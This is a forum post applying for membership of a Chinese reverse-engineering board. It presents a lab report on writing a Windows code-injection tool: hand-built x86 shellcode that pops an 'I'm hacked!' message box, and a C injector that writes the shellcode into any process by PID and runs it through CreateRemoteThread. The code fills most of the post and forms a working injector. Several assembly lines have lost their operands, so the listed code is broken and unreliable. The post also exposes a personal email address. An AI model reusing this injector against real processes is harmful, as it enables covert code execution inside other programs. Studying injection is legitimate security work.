申请会员ID:BUGS3-GTO【申请通过】
申请ID:BUGS3-GTO个人邮箱:393803933@qq.com
原创技术文章:手写一个注入工具
对吾爱破解向往很久了~~
【步骤一】 编写二进制代码,弹出MessageBox对话框,并测试运行之。要求:首先编写汇编代码片段完成以下功能:调用MessageBoxA()函数弹出一个对话框,显示“I’m hacked!”字符串。然后请提取出这些汇编代码的二进制编码,放到一个全局字符数组char code[]中,并测试运行之,确保无误。#include<windows.h>
char *s = "I'm hacked!";
char code[]={
0x6A,0x00,
0x68,0x04,0xA0,0x40,0x00,
0x68,0x04,0xA0,0x40,0x00,
0x6A,0x00,
0xFF,0x15,0x08,0x71,0x40,0x00
,0xc3
};
void main()
{
int op;
MessageBoxA(0,s,s, MB_OK);
VirtualProtect(&code,sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
}
}
【步骤二】 请修改步骤一中生成的放置在char code[]中的二进制代码,使这段代码在运行时不依赖产生代码进程中的全局字符串。例如在步骤一参考测试程序 test.c中,不能再使用char *s = "I'm hacked!"这样的全局字符串。本步骤要求正确提取二进制代码数组,并且使用test.c测试运行。
#include<windows.h>
char code[]={
0x55,//push ebp
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x45,0xe8,//lea eax,
0x6A,0x00,//push 0
0x50,//push eax
0x50,//push eax
0x6a,0x00,//push 0
0xff,0x15,0x08,0x71,0x40,0x00,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3//retn
};
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
int op;
__asm{
push ebp
mov ebp,esp
sub esp,0x20
mov ,'I'
mov ,'\''
mov ,'m'
mov ,' '
mov ,'h'
mov ,'a'
mov ,'c'
mov ,'k'
mov ,'e'
mov ,'d'
mov ,'!'
mov ,0x0
lea eax,
push 0x0
push eax
push eax
push 0x0
call dword ptr
add esp,0x20
mov esp,ebp
pop ebp
}
VirtualProtect(&code,sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
retn
}
}
【步骤三】 考虑到远程进程的内存空间中可能还没有加载user32.dll,即没有MessageBoxA函数,无法让二进制代码来调用。为了能够使二进制代码在远程进程中正确运行,需要在二进制代码中添加新的指令,来调用LoadLibraryA()与GetProcAddress()等系统API函数来动态加载user32.dll,(0x0040926a)基址?0x00407000并且得到MessageBoxA函数的地址。请进一步完善保存在char code[]中的二进制代码,使之在user32.dll未加载的情况下,仍然能够正确弹出MessageBox对话框,最后请测试运行。
#include<windows.h>
char code[]={
0x55,//push ebp////LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,
0x50,//push eax
0xb8,0x64,0x28,0xa0,0x75,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,
0x51,//push eax
0x50,
0xb8,0x37,0x18,0xa0,0x75,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
int op;
__asm{//LoadLibraryA("user32.dll");
push ebp
mov ebp,esp
sub esp,0x20
mov ,'u'
mov ,'s'
mov ,'e'
mov ,'r'
mov ,'3'
mov ,'2'
mov ,'.'
mov ,'d'
mov ,'l'
mov ,'l'
mov ,0x0
lea eax,
push eax
mov eax,0x75a02864
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
__asm{//GetProcAddress(hModUser32,"MessageBoxA");
push ebp
mov ebp,esp
sub esp,0x20
mov ,'M'
mov ,'e'
mov ,'s'
mov ,'s'
mov ,'a'
mov ,'g'
mov ,'e'
mov ,'B'
mov ,'o'
mov ,'x'
mov ,'A'
mov ,0x0
lea ecx,
push ecx
push eax
mov eax,0x75a01837
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
__asm{//MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
push ebp
mov ebp,esp
sub esp,0x20
mov ,'I'
mov ,'\''
mov ,'m'
mov ,' '
mov ,'h'
mov ,'a'
mov ,'c'
mov ,'k'
mov ,'e'
mov ,'d'
mov ,'!'
mov ,0x0
lea ecx,
push 0x0
push ecx
push ecx
push 0x0
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
VirtualProtect(&code,sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
retn
}
}
【步骤四】:请编写注入器代码inj.c,将步骤三产生的二进制代码,即char code[]数组,注入到某一进程中,并创建远程线程运行之。
#include <windows.h>
BYTE code[]={
0x55,//push ebp////LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,
0x50,//push eax
0xb8,0x64,0x28,0xa0,0x75,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,
0x51,//push eax
0x50,
0xb8,0x37,0x18,0xa0,0x75,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
int main(int argc, char *argv[])
{
int PID = 0;
HANDLEhProcess = 0;
PBYTE pCodeRemote = NULL;
DWORD dwNumBytesXferred = 0;
PBYTE pCode = NULL;
DWORD dwSizeOfCode = 0;
HANDLEhThread = 0;
DWORD dwThreadId = 0;
int exitcode = 0;
if (argc < 2) {
printf("Usage: %s pid\n", argv);
return -1;
}
PID = atoi(argv);
if (PID <= 0) {
printf(": pid should be greater than zero!\n");
return -1;
}
pCode = (PBYTE)code;
dwSizeOfCode = sizeof(code);
//打开远程进程
printf(": Opening remote process %d......", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
//分配远程地址空间
printf(": Allocating remote memory with size of 0x%08x ......",
dwSizeOfCode);
pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
0,
dwSizeOfCode,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (pCodeRemote == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
printf(": Writing code ......");
if (WriteProcessMemory(hProcess,
pCodeRemote,
pCode,
dwSizeOfCode,
&dwNumBytesXferred) == 0) {
printf("failed.\n");
VirtualFreeEx(hProcess, pCodeRemote,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程
printf(": Creating a remote thread ......");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pCodeRemote,
pCodeRemote, 0 , &dwThreadId);
if (hThread == 0) {
printf("failed.\n");
if ( pCodeRemote != 0 )
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
//等待远程线程执行
printf(": Waiting the remote thread ......");
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
【步骤五】:由于每次系统重启后,进程空间中kernel32.dll加载的基地址都会发生变化,因此LoadLibraryA()与GetProcAddress()系统API的地址不是个固定值,它们的入口地址会在关机重启后发生变化。这样一来,事先做好的二进制代码将会再次无法运行。请在步骤四的基础上继续改进程序,使得注入程序能够自动寻找它们的入口地址,并且自动修正二进制代码中这两个函数的入口地址。
#include <windows.h>
BYTE code[]={
0x55,//push ebp////LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,
0x50,//push eax
//0xb8,0x64,0x28,0xa0,0x75,
0xb8,0xaa,0xbb,0xaa,0xbb,//地址改成0xaabbaabb
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,
0x51,//push eax
0x50,
//0xb8,0x37,0x18,0xa0,0x75,
0xb8,0xaa,0xbb,0xaa,0xbb,//地址改成0xaabbaabb
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
int main(int argc, char *argv[])
{
int PID = 0;
HANDLEhProcess = 0;
PBYTE pCodeRemote = NULL;
DWORD dwNumBytesXferred = 0;
PBYTE pCode = NULL;
DWORD dwSizeOfCode = 0;
HANDLEhThread = 0;
DWORD dwThreadId = 0;
int exitcode = 0;
*(int *)(code+55) =(int)LoadLibraryA;
*(int *)(code+127) =(int)GetProcAddress;
if (argc < 2) {
printf("Usage: %s pid\n", argv);
return -1;
}
PID = atoi(argv);
if (PID <= 0) {
printf(": pid should be greater than zero!\n");
return -1;
}
pCode = (PBYTE)code;
dwSizeOfCode = sizeof(code);
//打开远程进程
printf(": Opening remote process %d......", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
//分配远程地址空间
printf(": Allocating remote memory with size of 0x%08x ......",
dwSizeOfCode);
pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
0,
dwSizeOfCode,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (pCodeRemote == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
printf(": Writing code ......");
if (WriteProcessMemory(hProcess,
pCodeRemote,
pCode,
dwSizeOfCode,
&dwNumBytesXferred) == 0) {
printf("failed.\n");
VirtualFreeEx(hProcess, pCodeRemote,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程
printf(": Creating a remote thread ......");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pCodeRemote,
pCodeRemote, 0 , &dwThreadId);
if (hThread == 0) {
printf("failed.\n");
if ( pCodeRemote != 0 )
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
//等待远程线程执行
printf(": Waiting the remote thread ......");
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
http://www.cnblogs.com/ailx10/p/5251623.html 这个是你的博客? 我很好奇,向往很久的,为啥开放时间没关注过 Hmily 发表于 2016-4-20 16:09
http://www.cnblogs.com/ailx10/p/5251623.html 这个是你的博客?
嗯嗯 是的 这个是我的博客 稚柚 发表于 2016-4-20 17:54
估计是抄袭的~ 要是他自己的播客也不至于舍不得花20软妹币吧!
你真看不起人 吾爱T阿杰 发表于 2016-4-20 18:06
我很好奇,向往很久的,为啥开放时间没关注过
以前混看雪{:1_926:} 说抄袭的都是什么心态
这个博客是我以前hexo里面的 用makedown写
申请的文档是我的实验报告
ID:BUGS3-GTO
邮箱:393803933@qq.com
申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道,否则将删除ID信息。
PS:登录后请整理文章发于相应版块中吧,另外对于大家说“抄袭”的事情还请见谅,可以参看本版块帖子列表,有很多人用他人文章来申请,对于网络上现有的我们会给予确认是否原创。 非常感谢吾爱破解站长,BUGS3-GTO在此报到
页:
[1]
2